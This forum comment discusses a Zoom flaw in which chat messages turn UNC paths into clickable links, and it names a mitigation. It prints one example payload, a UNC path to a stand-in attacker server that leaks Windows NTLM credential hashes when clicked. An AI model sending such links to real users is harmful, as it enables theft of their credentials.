Zoom Lets Attackers Steal Windows Credentials via UNC Links

Not to say they shouldn't mitigate it (which should be trivial), but this seems to me like more of a Windows "bug" than a Zoom one.

Basically attacker sends:

    \\evil.server.com\img\cat.jpg

Zoom client makes it a clickable link. When clicked, SMB sends your username and NTLM password hash to the remote server (just like it would when connecting to any other file share).

Can be mitigated with a group policy or registry tweak (Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers / RestrictSendingNTLMTraffic) but that can cause side effects (particularly when joined to a domain).

IMO the out-of-box OS behavior ought to ask you before sending any credentials to a strange server - like SSH clients do the first time they connect to a new host. (After all, it's not like you walk down the street advertising your ID to strangers).
